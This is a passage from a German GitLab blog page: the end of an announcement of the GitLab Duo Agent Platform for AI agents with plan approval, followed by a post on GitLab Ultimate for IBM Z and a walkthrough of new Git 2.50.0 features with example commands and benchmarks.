In der Zwischenzeit bittest du einen weiteren Agenten, deine komplizierten Codeänderungen zu überprüfen und Feedback zu geben, bevor du sie zur formellen Überprüfung an ein Teammitglied sendest.
Als dich schließlich das Sicherheitsteam über eine neue Sicherheitslücke informiert, die im gesamten Projekt untersucht werden muss, übergibst du diese Rechercheaufgabe an deinen Sicherheitsagenten.

All das passiert gleichzeitig, während du dich auf Architekturentscheidungen, kreative Problemlösungen und strategische technische Arbeit konzentrieren kannst. Mit der GitLab Duo Agent Platform kannst du Aufgaben an fünf, zehn oder sogar 100 spezialisierte Agenten delegieren. Jeder davon kennt den vollständigen Kontext deines Projekts, nicht nur deinen Code, einschließlich CI-Jobprotokolle, Planungsaufgaben und vieles mehr. Du automatisierst die mühsame Arbeit, die du erledigen musst, damit du dich auf die Arbeit konzentrieren kannst, die dich inspiriert.

Es geht dabei nicht darum, Entwickler(innen) zu ersetzen. Es geht darum, die menschliche Kreativität und das Fachwissen zu verstärken, indem Routineaufgaben vereinfacht werden. Das ist die Zukunft, die wir mit der GitLab Duo Agent Platform gestalten.

Was ist die GitLab Duo Agent Platform?

Die GitLab Duo Agent Platform ermöglicht eine umfassende Zusammenarbeit zwischen Entwickler(inne)n und KI-Agenten über den gesamten Software-Entwicklungsprozess hinweg, um Teams dabei zu helfen, ihre Produktivität zu steigern und die Bearbeitungszeit drastisch zu verkürzen.

Die GitLab Duo Agent Platform basiert auf der sicheren Grundlage von GitLab und ist anpassbar und erweiterbar. Sie ermöglicht es Entwickler(inne)n, Agenten zu erstellen, die alle Arten von Software-Engineering-Problemen lösen können und dabei den Kontext über den gesamten Software-Entwicklungsprozess hinweg nutzen.

Die GitLab Duo Agent Platform bietet mehr als nur die Erstellung von Code. Mit spezialisierten Agenten und benutzerdefinierten Workflows unterstützt sie eine nahezu unbegrenzte Anzahl von Aktivitäten, darunter:

Implementierung von Tickets
Groß angelegte Migrationen/Upgrades von Abhängigkeiten
Automatisierte Erstellung von Dokumentationen/Veröffentlichungsbeiträge
Fehlerbehebung bei fehlgeschlagenen CI/CD-Pipelines
Unterstützung bei der Untersuchung von Vorfällen
Detaillierte Recherche zu Status und Informationsbeschaffung zu festgelegten Themen
Verwaltung von Backlogs
Behebung von Sicherheitslücken
Reviews für bestimmte Arten von Code (z. B. Datenbanken)
Schnelle interne Toolerstellung auf Basis vorhandener Build-Blöcke
und vieles mehr!

Du kannst unsere Agenten sofort einsetzen, anpassen und erweitern. Wir testen die GitLab Duo Agent Platform derzeit mit Dutzenden von Kund(inn)en und werden bald mehr Teams den Zugang zur Beta-Version ermöglichen.

Sieh dir die GitLab Duo Agent Platform in Aktion an:

Wähle deine Tools, deine Modelle und deine Agenten

Da GitLab eine offene Plattform ist, arbeiten GitLab-Agenten nahtlos mit den von dir gewählten Entwicklertools zur Codeerstellung über das Standard Model Context Protocol (MCP) und das Agent-to-Agent-Framework (A2A) zusammen, unabhängig davon, ob du Cursor, Claude Code, Windsurf, OpenAI Codex oder andere Tools verwendest.

Die Plattform akzeptiert Codebeiträge von jedem Entwicklungstool in deinem Stack, unabhängig davon, ob der Code von einem Menschen geschrieben oder von einem KI-Agenten generiert wurde. Das bedeutet, dass deine vorhandenen Workflows und bevorzugten Tools weiterhin nahtlos funktionieren, wenn du Agentenfunktionen integrierst.

Die GitLab Duo Agent Platform funktioniert mit jedem zugelassenen Sprachmodell, das unsere Auswahlkriterien erfüllt. Für Unternehmen mit strengen Sicherheitsanforderungen unterstützt die Plattform genehmigte, selbst gehostete Modelle, die in vollständig isolierten Umgebungen ausgeführt werden. Deine Infrastrukturanforderungen und Sicherheitsrichtlinien schränken deine Möglichkeiten, von der agentischen Entwicklung zu profitieren, nicht ein.

Kontext ist alles, und deine GitLab-Duo-Agenten kennen ihn

Der Unterschied zwischen einem hilfreichen KI-Tool und einem wirklich intelligenten Agenten liegt im Kontext. Mit der GitLab Duo Agent Platform arbeiten die Agenten nicht isoliert, sondern sind tief in die Plattform integriert, auf der die Entwicklungsarbeit stattfindet.

Jeder Agent kennt automatisch das Gesamtbild deiner Projekte, einschließlich deiner offenen Tickets und deren Verlauf, der Merge Requests, die sie gelöst haben, der Struktur und der Logik hinter deinem Code, deiner CI/CD-Pipeline-Konfigurationen, der Sicherheitserkenntnisse, der Konformitätsanforderungen und der komplexen Beziehungen zwischen all diesen Komponenten.

Genau wie deine menschlichen Teammitglieder verfügen die Agenten über den gesamten Kontext, um dir zu helfen, sichere Software schneller bereitzustellen. Anstatt nur Fragen zum Code zu beantworten, können sie Einblicke geben, wie sich eine vorgeschlagene Änderung auf deine Bereitstellungspipeline auswirken könnte, oder Sicherheitsverbesserungen auf der Grundlage deiner bestehenden Compliance-Regeln vorschlagen. Wir sind der Meinung, dass deine Agenten umso intelligenter werden, je mehr dein Team innerhalb der DevSecOps-Plattform von GitLab arbeitet.

Behalte die Kontrolle, während die Agenten dein Team skalieren

Der Aufbau von Vertrauen in KI-Agenten unterscheidet sich nicht grundlegend vom Aufbau von Vertrauen in neue Teammitglieder. Du musst ihre Arbeit sehen, ihren Ansatz verstehen und ihre Verantwortung schrittweise erhöhen, wenn sie ihre Kompetenz unter Beweis stellen.

Das ist die Philosophie hinter unserem Workflow zum Agenten-Approval. Bevor ein Agent Änderungen an deinem Code oder deiner Umgebung vornimmt, legt er dir einen klaren Plan vor: Er zeigt auf, was er über das Ticket weiß, welchen Ansatz er verfolgen wird und welche spezifischen Aktionen er ausführen möchte. Du hast dann die Möglichkeit, den Plan zu überprüfen, zu genehmigen oder bei Bedarf anzupassen. Wenn die Agenten konsequent qualitativ hochwertige Arbeit leisten, kannst du ihnen im Laufe der Zeit mehr Autonomie für Routineaufgaben gewähren und gleichzeitig die Kontrolle über komplexe oder kritische Arbeiten behalten.

Entwickelt für Community und Anpassung

GitLab hat schon immer von den Beiträgen der Community profitiert, und dieses Jahr war ein Meilenstein mit einer rekordverdächtig hohen Zahl an Kundenbeiträgen zu unserer Plattform. Jetzt übertragen wir diese kollaborative Energie durch unseren offenen Framework-Ansatz auf KI-Agenten.

Bei der GitLab Duo Agent Platform geht es nicht nur um die Agenten, die wir entwickeln, sondern darum, dich und die breitere Community in die Lage zu versetzen, spezialisierte Agenten zu erstellen, die deine einzigartigen technischen Herausforderungen lösen. Egal, ob du einen Agenten benötigst, der deine spezifischen Programmierstandards versteht, sich in deine benutzerdefinierte Toolchain integrieren lässt oder domänenspezifische Aufgaben erledigt, die Plattform bietet dir die Bausteine, um dies zu erreichen.

Dieses auf die Community ausgerichtete Modell schafft einen positiven Kreislauf, der die Stärke der GitLab-Community durch globalen Austausch nutzt, ähnlich wie unser CI/CD-Katalog (nur in englischer Sprache verfügbar). Vielfältige Anwendungsfälle aus der Praxis treiben Innovationen voran. Feedback von Unternehmen sorgt für Zuverlässigkeit und Sicherheit. Und gemeinsame Lösungen kommen allen zugute. Es ist derselbe kollaborative Ansatz, der GitLab erfolgreich gemacht hat und nun auf die neuesten Entwicklungen im Bereich der Agentenentwicklung angewendet wird.

Erste Schritte

Wenn du mit GitLab Duo Agentic Chat experimentiert hast, das jetzt in jeder Premium- und Ultimate-GitLab.com-Benutzerlizenz von GitLab 18 enthalten ist, hast du bereits einen Vorgeschmack darauf bekommen, was mit KI-Agenten in deinem Entwicklungsworkflow möglich ist.

Was die GitLab Duo Agent Platform kann und woran wir arbeiten, kannst du dir in den Demos der Aufzeichnung unseres Release-Events von GitLab 18 Release-Events ansehen.

Möchtest du zu den Ersten gehören, die es erleben? Dann melde dich für die Beta-Warteliste für die GitLab Duo Agent Platform (nur in englischer Sprache verfügbar) an. In diesem Sommer werden wir mehr Teams den Zugang ermöglichen und im Laufe des Jahres werden neue Agentenfunktionen in den kommenden Releases von GitLab 18 veröffentlicht. Wir erwarten die allgemeine Verfügbarkeit im Winter.

Haftungsausschlussklausel: Dieser Blogbeitrag enthält Informationen zu kommenden Produkten, Funktionen und Funktionalitäten. Bitte beachte, dass die Informationen auf dieser Seite nur zu Informationszwecken dienen. Bitte verlasse dich nicht auf diese Informationen, wenn du etwas kaufen oder planen möchtest. Wie bei allen Projekten können sich die hier und auf den verlinkten Seiten genannten Punkte ändern oder verzögern. Die Entwicklung, Freigabe und der Zeitplan von Produkten, Funktionen oder Funktionalitäten liegen im alleinigen Ermessen von GitLab Inc.

Mehr erfahren

GitLab Ultimate für IBM Z: Moderne DevSecOps für Mainframes

2025-06-20T00:00:00.000Z

GitLab und IBM haben sich zusammengeschlossen, um eine grundlegende Diskrepanz in der Unternehmensentwicklung zu lösen: Mainframe-Entwickler(innen) sollen mit denselben modernen Tools, Workflows und Kollaborationsfunktionen arbeiten können wie ihre Kolleg(inn)en in verteilten Umgebungen.

GitLab Ultimate für IBM Z, eine von GitLab zertifizierte, integrierte DevSecOps-Lösung, die speziell für die Mainframe-Umgebung entwickelt wurde, macht genau das möglich: Sie ermöglicht es Unternehmen, ihre Mainframe-Entwicklungsworkflows zu modernisieren, indem eine nahtlose Migration von veralteten Legacy-Bibliotheksmanagern erleichtert wird. Mit CI/CD-Pipelines, die nativ auf IBM z/OS laufen, erleben Kund(inn)en beschleunigte Innovation und reduzierte Betriebskosten.

Herausforderungen der heutigen Mainframe-Entwicklung

Unternehmen, die IBM Z-Systeme für geschäftskritische Workloads einsetzen, stehen vor Herausforderungen, für die herkömmliche DevSecOps-Tools nicht ausgestattet sind. Cloud-native Teams profitieren von modernen CI/CD-Pipelines, kollaborativer Entwicklung und automatisierten Tests. Im Gegensatz dazu werden Mainframe-Teams oft zurückgelassen – sie stecken mit veralteten Tools fest, die zu kostspieligen Ineffizienzen und operativen Silos führen.

Teams greifen oft auf Workarounds zurück, wie SSH-Verbindungen und manuelle Dateiübertragungen, die Sicherheitslücken schaffen und Audits erschweren. Wenn Compliance-Anforderungen streng sind, werden diese improvisierten Lösungen zu inakzeptablen Risiken. Gleichzeitig unterhalten Organisationen teure parallele Toolchains, wobei Legacy-Mainframe-Entwicklungstools Premium-Lizenzkosten verursachen, während sie im Vergleich zu modernen Alternativen nur eingeschränkte Funktionalität bieten.

Diese Fragmentierung schafft zwei Probleme: langsamere Bereitstellungszyklen und Schwierigkeiten bei der Rekrutierung von Entwickler(inne)n, die modernste Prozesse erwarten.

„GitLab Ultimate für IBM Z stellt einen wichtigen Schritt zur Bewältigung einer langjährigen Branchenherausforderung dar. IDC-Forschung zeigt, dass Mainframe-Entwickler(innen) oft mit Legacy-Tools arbeiten, die zu Bereitstellungsineffizienzen beitragen und es schwieriger machen, neue Talente anzuziehen. Mit diesem Angebot werden moderne DevSecOps-Fähigkeiten und einheitliche Workflows direkt auf den Mainframe gebracht. Dies befähigt Entwickler(innen), kollaborativer und effizienter zu arbeiten, während es Organisationen hilft, Innovation zu beschleunigen und Mainframe-Entwicklung in breitere digitale Transformationsstrategien zu integrieren." - Katie Norton, Research Manager, DevSecOps und Software Supply Chain Security bei IDC

Vereinheitlichte Entwicklungsumgebungen

Wahre Modernisierung bedeutet mehr als nur die Aktualisierung der Mainframe-Entwicklung. Es bedeutet, eine einheitliche Plattform zu schaffen, auf der Mainframe-, Cloud-native-, Web- und Mobile-Entwicklungsteams nahtlos zusammenarbeiten.

GitLab Ultimate für IBM Z ermöglicht es Entwickler(inne)n, konsistente Workflows zu verwenden, unabhängig davon, ob sie auf z/OS, Cloud oder On-Premises-Infrastruktur bereitstellen – Wissen wird zwischen Teams übertragen, anstatt in Silos zu verbleiben. Organisationen können schrittweise modernisieren, ohne Geschäftsunterbrechungen, da Legacy-Systeme weiterhin funktionieren, während Teams moderne Praktiken in ihrem eigenen Tempo übernehmen.

Während Organisationen Hybrid-Cloud-Strategien verfolgen, bietet GitLab die Grundlage für Anwendungen, die sich über Mainframe- und Cloud-native-Umgebungen erstrecken.

Was ist GitLab Ultimate für IBM Z?

GitLab Ultimate für IBM Z bietet native z/OS-Runner-Unterstützung und ermöglicht eine nahtlose CI/CD-Pipeline-Ausführung direkt auf Ihrer Mainframe-Infrastruktur. Diese von GitLab zertifizierte Lösung hilft, die Notwendigkeit komplexer Workarounds zu eliminieren und gleichzeitig die Sicherheit und Zuverlässigkeit zu gewährleisten, die Ihre Unternehmensanwendungen erfordern.

Die Kombination aus GitLabs umfassender DevSecOps-Plattform und IBMs tiefgreifender Mainframe-Expertise schafft etwas Einzigartiges auf dem Markt: eine zertifizierte Lösung, die eine echte Brücke zwischen unternehmenskritischen Legacy-Systemen und Cloud-nativer Innovation bietet.

GitLab Ultimate für IBM Z Funktionen

GitLab Ultimate für IBM Z bietet Unternehmensteams die Tools, die sie benötigen, um die Mainframe-Entwicklung zu modernisieren und gleichzeitig kritische Geschäftssysteme zu erhalten.

Native z/OS-Runner-Unterstützung hilft, Sicherheitsrisiken und Skalierbarkeitsengpässe im Zusammenhang mit Remote-Verbindungen zu eliminieren, während die Bereitstellung durch CI/CD-Pipelines beschleunigt wird, die direkt dort ausgeführt werden, wo sich Ihr Mainframe-Code befindet.

Einheitliches Source Code Management modernisiert Toolchains, indem teure Legacy-Bibliotheksmanager durch GitLabs durchsuchbares, versionskontrolliertes Repository-System ersetzt werden, was zur Reduzierung von Lizenzkosten und Wartungsaufwand beiträgt.

Nahtlose Integration mit IBM Developer for z/OS Enterprise Edition (IDzEE) liefert schnellere Software-Releases durch abhängigkeitsbasierte Builds, automatisiertes Code-Scanning und umfassende Debugging-Tools in vertrauten Entwicklerumgebungen, wodurch sowohl Qualität als auch Sicherheit verbessert werden.

End-to-End-Transparenz über Mainframe- und verteilte Umgebungen hinweg bietet umfassendes Projektmanagement von der Planung bis zur Produktion und ermöglicht automatisierte DevOps-Workflows, die durch moderne Entwicklungstools der nächsten Generation zur Talentbindung beitragen.

Modernisiere deine Mainframe-Entwicklungsumgebung noch heute

GitLab Ultimate für IBM Z ist jetzt für Organisationen verfügbar, die bereit sind, ihre Mainframe-Entwicklungserfahrung zu transformieren. Weitere Informationen befinden sich auf der GitLab und IBM Partnerseite.

Was gibt es Neues in Git 2.50.0?

2025-06-16T00:00:00.000Z

Das Git-Projekt hat kürzlich Git Version 2.50.0 veröffentlicht. Werfen wir einen Blick auf die Highlights dieser Veröffentlichung, die Beiträge des Git-Teams von GitLab und der gesamten Git-Community enthält.

Neuer Befehl git-diff-pairs(1)

Diffs sind das Herzstück jeder Code Review und zeigen alle Änderungen, die zwischen zwei Revisionen vorgenommen wurden. GitLab zeigt Diffs an verschiedenen Stellen an, am häufigsten aber auf der Registerkarte „Änderungen“ (in englischer Sprache verfügbar) eines Merge Requests.

Im Hintergrund wird die Diff-Generierung von git-diff(1) verwendet. Ein Beispiel:

$ git diff HEAD~1 HEAD

Dieser Befehl gibt das vollständige Diff für alle geänderten Dateien zurück. Dies kann eine Herausforderung für die Skalierbarkeit darstellen, vor allem, wenn die Anzahl der Dateien, die innerhalb einer Reihe von Revisionen geändert wurden, sehr groß ist. Dies kann dazu führen, dass der Befehl selbst auferlegte Zeitlimits für das GitLab-Backend erreicht. Bei großen Änderungen wäre es besser, wenn es eine Möglichkeit gäbe, die Diff-Berechnung in kleinere, leichter verarbeitbare Blöcke zu unterteilen.

Eine Möglichkeit dafür ist die Verwendung von git-diff-tree(1) (in englischer Sprache verfügbar), um Informationen über alle geänderten Dateien abzurufen:

$ git diff-tree -r -M --abbrev HEAD~ HEAD
:100644 100644 c9adfed339 99acf81487 M      Documentation/RelNotes/2.50.0.adoc
:100755 100755 1047b8d11d 208e91a17f M      GIT-VERSION-GEN

Git bezeichnet diese Ausgabe als „unbearbeitetes“ Format (in englischer Sprache verfügbar). Kurz gesagt, listet jede Zeile der Ausgabe Dateipaare und die dazugehörigen Metadaten darüber auf, was sich zwischen dem Anfangscode und der letzten Revision geändert hat. Im Vergleich zur Erzeugung der „Patch“-Ausgabe für große Änderungen verläuft dieser Prozess relativ schnell und liefert eine Zusammenfassung aller Änderungen. Dieser Befehl kann optional eine Umbenennungserkennung durchführen, indem das Flag -M angehängt wird. So kannst du überprüfen, ob identifizierte Änderungen auf eine Dateiumbenennung zurückzuführen sind.

Mit diesen Informationen könnten wir git-diff(1) verwenden, um jedes der Dateipaar-Diffs einzeln zu erstellen. Zum Beispiel können wir die Blob-IDs direkt angeben:

$ git diff 1047b8d11de767d290170979a9a20de1f5692e26 208e91a17f04558ca66bc19d73457ca64d5385f

Wir können diesen Vorgang für jedes der Dateipaare wiederholen, aber es ist nicht sehr effizient, für jede einzelne Datei einen separaten Git-Prozess zu starten. Außerdem verliert das Diff bei der Verwendung von Blob-IDs einige Kontextinformationen, wie den Änderungsstatus und die Dateimodi, die im übergeordneten Baumobjekt gespeichert sind. Was wir wirklich möchten, ist ein Mechanismus, um „unbearbeitete“ Dateipaarinformationen einzuspeisen und die entsprechende Patch-Ausgabe zu generieren.

Mit der Version 2.50 bietet Git einen neuen integrierten Befehl mit der Bezeichnung git-diff-pairs(1) (in englischer Sprache verfügbar. Dieser Befehl akzeptiert „unbearbeitete“ formatierte Dateipaarinformationen als Eingabe auf stdin, um exakt zu bestimmen, welche Patches ausgegeben werden sollen. Das folgende Beispiel zeigt, wie dieser Befehl verwendet werden kann:

$ git diff-tree -r -z -M HEAD~ HEAD | git diff-pairs -z

Bei dieser Nutzung ist die resultierende Ausgabe identisch mit der Verwendung von git-diff(1). Durch einen separaten Befehl zur Generierung der Patch-Ausgabe kann die „unbearbeitete“ Ausgabe von git-diff-tree(1) in kleinere Chargen von Dateipaaren aufgeteilt und separaten git-diff-pairs(1)-Prozessen zugeführt werden. Dies löst das zuvor erwähnte Skalierbarkeitsproblem, da die Diffs nicht länger alle auf einmal berechnet werden müssen. Zukünftige GitLab-Versionen könnten auf diesem Mechanismus aufbauen, um die Leistung der Diff-Generierung zu verbessern, insbesondere wenn es sich um große Änderungssätze handelt. Weitere Informationen zu dieser Änderung findest du im entsprechenden Mailinglisten-Thread.

Dieses Projekt wurde von Justin Tobler geleitet.

Gesammelte Referenz-Updates

Mit dem Git-Befehl git-update-ref(1) (in englischer Sprache verfügbar)

kannst du Referenzaktualisierungen durchführen. Bei Verwendung mit dem Flag --stdin können

mehrere Referenzaktualisierungen in einer einzigen Transaktion gebündelt werden, indem Anweisungen für jede Referenzaktualisierung angegeben werden, die auf stdin durchgeführt werden soll. Die Massenaktualisierung von Referenzen auf diese Weise zeigt auch ein atomares Verhalten, bei dem ein einzelner Fehler bei der Referenzaktualisierung eine Transaktion abbricht und Referenzen nicht aktualisiert werden. Hier ist ein Beispiel für dieses Verhalten:

# Erstelle ein Repository mit drei leeren Commits und einem Branch mit dem Namen „foo“
$ git init
$ git commit --allow-empty -m 1
$ git commit --allow-empty -m 2
$ git commit --allow-empty -m 3
$ git branch foo

# Gib die Commit-IDs aus
$ git rev-list HEAD
cf469bdf5436ea1ded57670b5f5a0797f72f1afc
5a74cd330f04b96ce0666af89682d4d7580c354c
5a6b339a8ebffde8c0590553045403dbda831518

# Versuche, eine neue Referenz zu erstellen und die vorhandene Referenz in der Transaktion zu aktualisieren.
# Es wird erwartet, dass die Aktualisierung fehlschlägt, da die angegebene alte Objekt-ID nicht richtig ist.
$ git update-ref --stdin < create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc
> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c
> EOF
fatal: cannot lock ref 'refs/heads/foo': is at cf469bdf5436ea1ded57670b5f5a0797f72f1afc but expected 5a74cd330f04b96ce0666af89682d4d7580c354c

# Die Referenz „bar“ wurde nicht erstellt.
$ git switch bar
fatal: invalid reference: bar

Im Vergleich zur einzelnen Aktualisierung vieler Referenzen ist die Massenaktualisierung auch viel effizienter. Das ist zwar grundsätzlich eine gute Lösung, aber es kann bestimmte Umstände geben, unter denen es akzeptabel ist, wenn ein Teil der angeforderten Referenzaktualisierungen fehlschlägt, wir aber dennoch die Effizienzvorteile von Massenaktualisierungen nutzen möchten.

Ab dieser Version verfügt git-update-ref(1) über die neue Option --batch-updates, mit der die Aktualisierungen auch dann fortgesetzt werden können, wenn eine oder mehrere Referenzaktualisierungen fehlschlagen. In diesem Modus werden einzelne Fehler im folgenden Format gemeldet:

rejected SP ( | ) SP ( | ) SP  LF

Dadurch können erfolgreiche Referenzaktualisierungen fortgesetzt werden, während gleichzeitig angegeben wird, unter welchen Umständen Aktualisierungen abgelehnt wurden und aus welchem Grund. Wir verwenden noch einmal das gleiche beispielhafte Repository wie im vorherigen Beispiel:

# Versuche, eine neue Referenz zu erstellen und die vorhandene Referenz in der Transaktion zu aktualisieren.
$ git update-ref --stdin --batch-updates < create refs/heads/bar cf469bdf5436ea1ded57670b5f5a0797f72f1afc
> update refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c
> EOF
rejected refs/heads/foo 5a6b339a8ebffde8c0590553045403dbda831518 5a74cd330f04b96ce0666af89682d4d7580c354c incorrect old value provided

# Die Referenz „bar“ wurde erstellt, obwohl die Aktualisierung auf „foo“ abgelehnt wurde.
$ git switch bar
Switched to branch 'bar'

Mit der Option --batch-updates war die Referenzerstellung diesmal erfolgreich, obwohl die Aktualisierung nicht funktioniert hat. Diese Patch-Serie legt den Grundstein für zukünftige Leistungsverbesserungen in git-fetch(1) und git-receive-pack(1), wenn Referenzen in großer Zahl aktualisiert werden. Weitere Informationen findest du im Mailinglisten-Thread

Dieses Projekt wurde von Karthik Nayak geleitet.

Neue Filteroption für git-cat-file(1)

Mit git-cat-file(1) (in englischer Sprache verfügbar) ist es möglich, Informationen für alle im Repository enthaltenen Objekte über die Option --batch–all-objects auszugeben. Zum Beispiel:

# Richte ein einfaches Repository ein.
$ git init
$ echo foo >foo
$ git add foo
$ git commit -m init

# Erstelle ein nicht erreichbares Objekt.
$ git commit --amend --no-edit

# Verwende git-cat-file(1), um Informationen über alle Objekte einschließlich nicht erreichbarer Objekte auszugeben.
$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)'
commit 0b07e71d14897f218f23d9a6e39605b466454ece
tree 205f6b799e7d5c2524468ca006a0131aa57ecce7
blob 257cc5642cb1a054f08cc83f2d943e56fd3ebe99
commit c999f781fd7214b3caab82f560ffd079ddad0115

In einigen Situationen möchte ein(e) Benutzer(in) möglicherweise alle Objekte im Repository durchsuchen, aber nur eine Teilmenge basierend auf einem bestimmten Attribut ausgeben. Wenn wir beispielsweise nur die Objekte anzeigen möchten, die Commits sind, könnten wir grep(1) verwenden:

$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)' | grep ^commit
commit 0b07e71d14897f218f23d9a6e39605b466454ece
commit c999f781fd7214b3caab82f560ffd079ddad0115

Das funktioniert zwar, aber ein Nachteil beim Filtern der Ausgabe ist, dass git-cat-file(1) nach wie vor alle Objekte im Repository durchlaufen muss, auch diejenigen, an denen wir nicht interessiert sind. Dies kann ziemlich ineffizient sein.

Mit dieser Version verfügt git-cat-file(1) jetzt über die Option --filter, die nur jene Objekte anzeigt, die den angegebenen Kriterien entsprechen. Dies ähnelt der gleichnamigen Option für git-rev-list(1), unterstützt jedoch nur eine Teilmenge der Filter. Die folgenden Filter werden unterstützt: blob:none, blob:limit= und object:type=. Ähnlich wie im vorherigen Beispiel können Objekte mit Git direkt nach ihrem Typ gefiltert werden:

$ git cat-file --batch-all-objects --batch-check='%(objecttype) %(objectname)' --filter='object:type=commit'
commit 0b07e71d14897f218f23d9a6e39605b466454ece
commit c999f781fd7214b3caab82f560ffd079ddad0115

Es ist nicht nur praktisch, dass Git die Verarbeitung übernimmt, sondern bei großen Repositories mit vielen Objekten ist dies möglicherweise auch effizienter. Wenn ein Repository über Bitmap-Indizes verfügt, kann Git Objekte eines bestimmten Typs effizient nachschlagen und so das Durchsuchen der Paketierungsdatei vermeiden, wodurch die Geschwindigkeit deutlich erhöht wird. Benchmarks, die im Chromium-Repository durchgeführt wurden, zeigen signifikante Verbesserungen:

Benchmark 1: git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter Time (mean ± σ):     82.806 s ±  6.363 s    [User: 30.956 s, System: 8.264 s] Range (min … max):   73.936 s … 89.690 s    10 runs
Benchmark 2: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag Time (mean ± σ):      20.8 ms ±   1.3 ms    [User: 6.1 ms, System: 14.5 ms] Range (min … max):    18.2 ms …  23.6 ms    127 runs
Benchmark 3: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit Time (mean ± σ):      1.551 s ±  0.008 s    [User: 1.401 s, System: 0.147 s] Range (min … max):    1.541 s …  1.566 s    10 runs
Benchmark 4: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree Time (mean ± σ):     11.169 s ±  0.046 s    [User: 10.076 s, System: 1.063 s] Range (min … max):   11.114 s … 11.245 s    10 runs
Benchmark 5: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob Time (mean ± σ):     67.342 s ±  3.368 s    [User: 20.318 s, System: 7.787 s] Range (min … max):   62.836 s … 73.618 s    10 runs
Benchmark 6: git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none Time (mean ± σ):     13.032 s ±  0.072 s    [User: 11.638 s, System: 1.368 s] Range (min … max):   12.960 s … 13.199 s    10 runs
Summary git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tag 74.75 ± 4.61 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=commit 538.17 ± 33.17 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=tree 627.98 ± 38.77 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=blob:none 3244.93 ± 257.23 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --filter=object:type=blob 3990.07 ± 392.72 times faster than git cat-file --batch-check --batch-all-objects --unordered --buffer --no-filter

Interessanterweise zeigen diese Ergebnisse, dass die Berechnungszeit jetzt mit der Anzahl der Objekte für einen bestimmten Typ skaliert, anstatt mit der Anzahl der gesamten Objekte in der Paketierungsdatei. Den ursprünglichen (englischsprachigen) Mailinglisten-Thread findest du hier.

Dieses Projekt wurde von Patrick Steinhardt geleitet.

Verbesserte Leistung beim Generieren von Bundles

Git bietet die Möglichkeit, über den Befehl git-bundle(1) (in englischer Sprache verfügbar) ein Archiv eines Repositories zu generieren, das einen bestimmten Satz von Referenzen und zugehörigen erreichbaren Objekten enthält. Dieser Vorgang wird von GitLab verwendet, um Repository-Backups zu erstellen, und ist auch ein Teil des Bundle-URI (in englischer Sprache verfügbar)-Mechanismus.

Bei großen Repositories mit Millionen von Referenzen kann dieser Vorgang Stunden oder sogar Tage dauern. Zum Beispiel lagen die Backup-Zeiten für das Haupt-GitLab-Repository (gitlab-org/gitlab), bei etwa 48 Stunden. Die Untersuchung zeigte einen Leistungsengpass, der auf die Art zurückzuführen war, wie Git eine Überprüfung durchführte, um zu vermeiden, dass doppelte Referenzen in das Bundle aufgenommen wurden. Die Implementierung verwendete eine verschachtelte for-Schleife, um alle aufgelisteten Referenzen zu durchlaufen und zu vergleichen, was zu einer Zeitkomplexität von O(N^2) führte. Die Skalierbarkeit ist sehr schlecht, wenn die Anzahl der Referenzen in einem Repository zunimmt.

In dieser Version wurde dieses Problem behoben, indem die verschachtelten Schleifen durch eine Datenzuordnungsstruktur ersetzt wurden, was die Geschwindigkeit erheblich erhöht. Der folgende Benchmark zeigt die Leistungssteigerung beim Erstellen eines Bundles mit einem Repository, das 100 000 Referenzen enthält:

Benchmark 1: bundle (refcount = 100000, revision = master) Time (mean ± σ):     14.653 s ±  0.203 s    [User: 13.940 s, System: 0.762 s] Range (min … max):   14.237 s … 14.920 s    10 runs
Benchmark 2: bundle (refcount = 100000, revision = HEAD) Time (mean ± σ):      2.394 s ±  0.023 s    [User: 1.684 s, System: 0.798 s] Range (min … max):    2.364 s …  2.425 s    10 runs
Summary bundle (refcount = 100000, revision = HEAD) ran 6.12 ± 0.10 times faster than bundle (refcount = 100000, revision = master)

Weitere Informationen findest du in unserem Blogbeitrag Wie wir die Backup-Zeiten für GitLab-Repos von 48 Stunden auf 41 Minuten verringerten (in englischer Sprache verfügbar). Den ursprünglichen englischsprachigen Mailinglisten-Thread findest du hier.

Dieses Projekt wurde von Karthik Nayak geleitet.

Bessere Auflösung von URI-Bundles

Durch den Bundle-URI (in englischer Sprache verfügbar)-Mechanismus in Git können den Clients Orte zum Abrufen von Bundles zur Verfügung gestellt werden, um Klone und Abrufe zu beschleunigen. Wenn ein Client ein Bundle herunterlädt, werden Referenzen unter refs/heads/* zusammen mit den zugehörigen Objekten aus dem Bundle in das Repository kopiert. Ein Bundle kann zusätzliche Referenzen außerhalb von refs/heads/* enthalten, wie z. B. refs/tags/*, die einfach ignoriert werden, wenn die Bundle-URI beim Klonen verwendet wird.

In Git 2.50 wird diese Einschränkung aufgehoben und alle Referenzen, die mit refs/* übereinstimmen und im heruntergeladenen Bundle enthalten sind, werden kopiert. Scott Chacon, der diese Funktionalität beigesteuert hat, demonstriert den Unterschied beim Klonen von gitlab-org/gitlab-foss:

$ git-v2.49 clone --bundle-uri=gitlab-base.bundle https://gitlab.com/gitlab-org/gitlab-foss.git gl-2.49
Cloning into 'gl2.49'...
remote: Enumerating objects: 1092703, done.
remote: Counting objects: 100% (973405/973405), done.
remote: Compressing objects: 100% (385827/385827), done.
remote: Total 959773 (delta 710976), reused 766809 (delta 554276), pack-reused 0 (from 0)
Receiving objects: 100% (959773/959773), 366.94 MiB | 20.87 MiB/s, done.
Resolving deltas: 100% (710976/710976), completed with 9081 local objects.
Checking objects: 100% (4194304/4194304), done.
Checking connectivity: 959668, done.
Updating files: 100% (59972/59972), done.

